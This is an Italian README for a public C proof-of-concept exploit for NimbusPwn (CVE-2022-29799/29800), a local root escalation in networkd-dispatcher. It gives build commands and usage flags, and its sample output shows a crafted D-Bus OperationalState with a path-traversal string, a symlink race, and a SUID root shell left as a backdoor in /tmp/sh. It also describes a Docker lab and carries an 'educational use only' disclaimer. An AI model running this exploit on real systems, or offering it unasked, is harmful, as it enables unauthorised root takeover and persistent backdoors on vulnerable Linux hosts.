
NimbusPwn (CVE-2022-29799/29800) PoC di escalation dei privilegi locali in C.
Un PoC in C per NimbusPwn, un'escalation locale dei privilegi in networkd-dispatcher. Un utente non privilegiato rivendica il nome D-Bus org.freedesktop.network1 e invia un OperationalState appositamente costruito. Il demone root non lo sanifica (CVE-2022-29799, path traversal) e una race condition tramite symlink nella directory degli script (CVE-2022-29800, TOCTOU) lo porta a eseguire uno script piantato dall'attaccante come root — rilasciando una shell root SUID.
Interessati: networkd-dispatcher < 2.1 (corretto nella 2.1). Solo Linux. Richiede il D-Bus di sistema e un nome org.freedesktop.network1 rivendicabile.
Compilazione su Linux (Kali o sulla macchina target). Non compila né funziona su macOS/Windows.
git clone https://github.com/joshuavanderpoll/NimbusPWN-CVE-2022-29799-29800.git
cd NimbusPWN-CVE-2022-29799-29800
sudo apt install -y gcc libc6-dev libdbus-1-dev pkg-config
cc nimbuspwn.c -o nimbuspwn $(pkg-config --cflags --libs dbus-1)
[!NOTE] Altre distribuzioni:
dnf install gcc dbus-devel pkgconf(Fedora/RHEL) oppurepacman -S gcc dbus pkgconf(Arch). La riga di compilazione è la stessa.
Esegui come utente non privilegiato su un host vulnerabile.
./nimbuspwn [-c] [-s SHELL]
-c, --check controllo di vulnerabilità non distruttivo, nessuno sfruttamento
-s, --shell SHELL shell da copiare come SUID e avviare come root (default /bin/sh)
-h, --help mostra l'aiuto
Prima verifica (sicura, non installa nulla, nessuna race):
$ ./nimbuspwn --check
[+] owned org.freedesktop.network1
[+] verdict: likely vulnerable (org.freedesktop.network1 is claimable, no privesc tried)
Poi esegui l'exploit:
$ ./nimbuspwn
[*] shell=/bin/sh drop=/tmp/sh attempts=10
[+] owned org.freedesktop.network1
[@] attempt 1 (/tmp/nimbuspwn_93732)
[+] planted 126 payloads (root-owned /sbin execs) in /tmp/nimbuspwn_93732
[*] OperationalState: ../../../tmp/nimbuspwn_93732/poc
[*] signal sent (serial 3)
[@] symlink swapped, waiting for root exec
[+] root backdoor at /tmp/sh, spawning shell
# id
uid=1000(pwn) gid=1000(pwn) euid=0(root) groups=1000(pwn)
La race è non deterministica, quindi riprova (default 10×). Usa -s /bin/bash su host senza /bin/sh.
Un laboratorio vulnerabile autonomo (Ubuntu 20.04 + networkd-dispatcher 2.0 vulnerabile). Nessun --privileged o networking host.
docker compose build
docker compose run --rm nimbuspwn-lab
# inside, as user 'pwn':
./nimbuspwn
Il dispatcher 2.0 è incluso in docker/, quindi la build non dipende da alcun download esterno. Log del dispatcher: /var/log/dispatcher.log.
Questo strumento è fornito solo a scopo educativo e di ricerca. Il creatore non si assume alcuna responsabilità per un uso improprio o per danni causati dallo strumento.